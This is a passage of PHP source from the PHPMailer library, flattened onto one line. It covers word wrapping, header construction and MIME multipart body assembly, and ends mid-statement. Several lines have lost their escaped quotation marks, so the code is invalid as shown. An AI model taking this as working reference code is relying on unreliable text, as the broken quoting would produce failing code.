$len); $word = substr($word, $len); $buf .= " " . $part; $message .= $buf . sprintf("=%s", self::CRLF); } else { $message .= $buf . $soft_break; } $buf = ''; } while (strlen($word) > 0) { if ($length <= 0) { break; } $len = $length; if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len); } elseif (substr($word, $len - 1, 1) == "=") { $len--; } elseif (substr($word, $len - 2, 1) == "=") { $len -= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); if (strlen($word) > 0) { $message .= $part . sprintf("=%s", self::CRLF); } else { $buf = $part; } } } else { $buf_o = $buf; if (!$firstword) { $buf .= " "; } $buf .= $word; if (strlen($buf) > $length and $buf_o != '') { $message .= $buf_o . $soft_break; $buf = $word; } } $firstword = false; } $message .= $buf . self::CRLF; } return $message; } public function utf8CharBoundary($encodedText, $maxLength) { $foundSplitPos = false; $lookBack = 3; while (!$foundSplitPos) { $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); $encodedCharPos = strpos($lastChunk, "="); if (false !== $encodedCharPos) { $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); $dec = hexdec($hex); if ($dec < 128) { if ($encodedCharPos > 0) { $maxLength = $maxLength - ($lookBack - $encodedCharPos); } $foundSplitPos = true; } elseif ($dec >= 192) { $maxLength = $maxLength - ($lookBack - $encodedCharPos); $foundSplitPos = true; } elseif ($dec < 192) { $lookBack += 3; } } else { $foundSplitPos = true; } } return $maxLength; } public function setWordWrap() { if ($this->WordWrap < 1) { return; } switch ($this->message_type) { case "alt": case "alt_inline": case "alt_attach": case "alt_inline_attach": $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap); break; default: $this->Body = $this->wrapText($this->Body, $this->WordWrap); break; } } public function createHeader() { $result = ''; $result .= $this->headerLine("Date", $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate); if ($this->SingleTo) { if ($this->Mailer != "mail") { foreach ($this->to as $toaddr) { $this->SingleToArray[] = $this->addrFormat($toaddr); } } } else { if (count($this->to) > 0) { if ($this->Mailer != "mail") { $result .= $this->addrAppend("To", $this->to); } } elseif (count($this->cc) == 0) { $result .= $this->headerLine("To", "undisclosed-recipients:;"); } } $result .= $this->addrAppend("From", array(array(trim($this->From), $this->FromName))); if (count($this->cc) > 0) { $result .= $this->addrAppend("Cc", $this->cc); } if (($this->Mailer == "sendmail" or $this->Mailer == "qmail" or $this->Mailer == "mail") and count($this->bcc) > 0) { $result .= $this->addrAppend("Bcc", $this->bcc); } if (count($this->ReplyTo) > 0) { $result .= $this->addrAppend("Reply-To", $this->ReplyTo); } if ($this->Mailer != "mail") { $result .= $this->headerLine("Subject", $this->encodeHeader($this->secureHeader($this->Subject))); } if ('' != $this->MessageID and preg_match("/^<.*@.*>$/", $this->MessageID)) { $this->lastMessageID = $this->MessageID; } else { $this->lastMessageID = sprintf("<%s@%s>", $this->uniqueid, $this->serverHostname()); } $result .= $this->headerLine("Message-ID", $this->lastMessageID); if (!is_null($this->Priority)) { $result .= $this->headerLine("X-Priority", $this->Priority); } if ($this->XMailer == '') { $result .= $this->headerLine("X-Mailer", "PHPMailer " . $this->Version . " (https://github.com/PHPMailer/PHPMailer)"); } else { $myXmailer = trim($this->XMailer); if ($myXmailer) { $result .= $this->headerLine("X-Mailer", $myXmailer); } } if ($this->ConfirmReadingTo != '') { $result .= $this->headerLine("Disposition-Notification-To", "<" . $this->ConfirmReadingTo . ">"); } foreach ($this->CustomHeader as $header) { $result .= $this->headerLine(trim($header[0]), $this->encodeHeader(trim($header[1]))); } if (!$this->sign_key_file) { $result .= $this->headerLine("MIME-Version", "1.0"); $result .= $this->getMailMIME(); } return $result; } public function getMailMIME() { $result = ''; $ismultipart = true; switch ($this->message_type) { case "inline": $result .= $this->headerLine("Content-Type", "multipart/related;"); $result .= $this->textLine(" boundary="" . $this->boundary[1] . """); break; case "attach": case "inline_attach": case "alt_attach": case "alt_inline_attach": $result .= $this->headerLine("Content-Type", "multipart/mixed;"); $result .= $this->textLine("\x9boundary="" . $this->boundary[1] . """); break; case "alt": case "alt_inline": $result .= $this->headerLine("Content-Type", "multipart/alternative;"); $result .= $this->textLine("\x9boundary="" . $this->boundary[1] . """); break; default: $result .= $this->textLine("Content-Type: " . $this->ContentType . "; charset=" . $this->CharSet); $ismultipart = false; break; } if ($this->Encoding != "7bit") { if ($ismultipart) { if ($this->Encoding == "8bit") { $result .= $this->headerLine("Content-Transfer-Encoding", "8bit"); } } else { $result .= $this->headerLine("Content-Transfer-Encoding", $this->Encoding); } } if ($this->Mailer != "mail") { $result .= $this->LE; } return $result; } public function getSentMIMEMessage() { return rtrim($this->MIMEHeader . $this->mailHeader, " \xd") . self::CRLF . self::CRLF . $this->MIMEBody; } protected function generateId() { return md5(uniqid(time())); } public function createBody() { $body = ''; $this->uniqueid = $this->generateId(); $this->boundary[1] = "b1_" . $this->uniqueid; $this->boundary[2] = "b2_" . $this->uniqueid; $this->boundary[3] = "b3_" . $this->uniqueid; if ($this->sign_key_file) { $body .= $this->getMailMIME() . $this->LE; } $this->setWordWrap(); $bodyEncoding = $this->Encoding; $bodyCharSet = $this->CharSet; if ($bodyEncoding == "8bit" and !$this->has8bitChars($this->Body)) { $bodyEncoding = "7bit"; $bodyCharSet = "us-ascii"; } if ("base64" != $this->Encoding and self::hasLineLongerThanMax($this->Body)) { $bodyEncoding = "quoted-printable"; } $altBodyEncoding = $this->Encoding; $altBodyCharSet = $this->CharSet; if ($altBodyEncoding == "8bit" and !$this->has8bitChars($this->AltBody)) { $altBodyEncoding = "7bit"; $altBodyCharSet = "us-ascii"; } if ("base64" != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) { $altBodyEncoding = "quoted-printable"; } $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE; switch ($this->message_type) { case "inline": $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("inline", $this->boundary[1]); break; case "attach": $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("attachment", $this->boundary[1]); break; case "inline_attach": $body .= $mimepre; $body .= $this->textLine("--" . $this->boundary[1]); $body .= $this->headerLine("Content-Type", "multipart/related;"); $body .= $this->textLine(" boundary="" . $this->boundary[2] . """); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll("inline", $this->boundary[2]); $body .= $this->LE; $body .= $this->attachAll("attachment", $this->boundary[1]); break; case "alt": $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, "text/plain", $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, "text/html", $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; if (!empty($this->Ical)) { $body .= $this->getBoundary($this->boundary[1], '', "text/calendar; method=REQUEST", ''); $body .= $this->encodeString($this->Ical, $this->Encoding); $body .= $this->LE . $this->LE; } $body .= $this->endBoundary($this->boundary[1]); break; case "alt_inline": $body .= $mimepre; $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, "text/plain", $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->textLine("\ ?>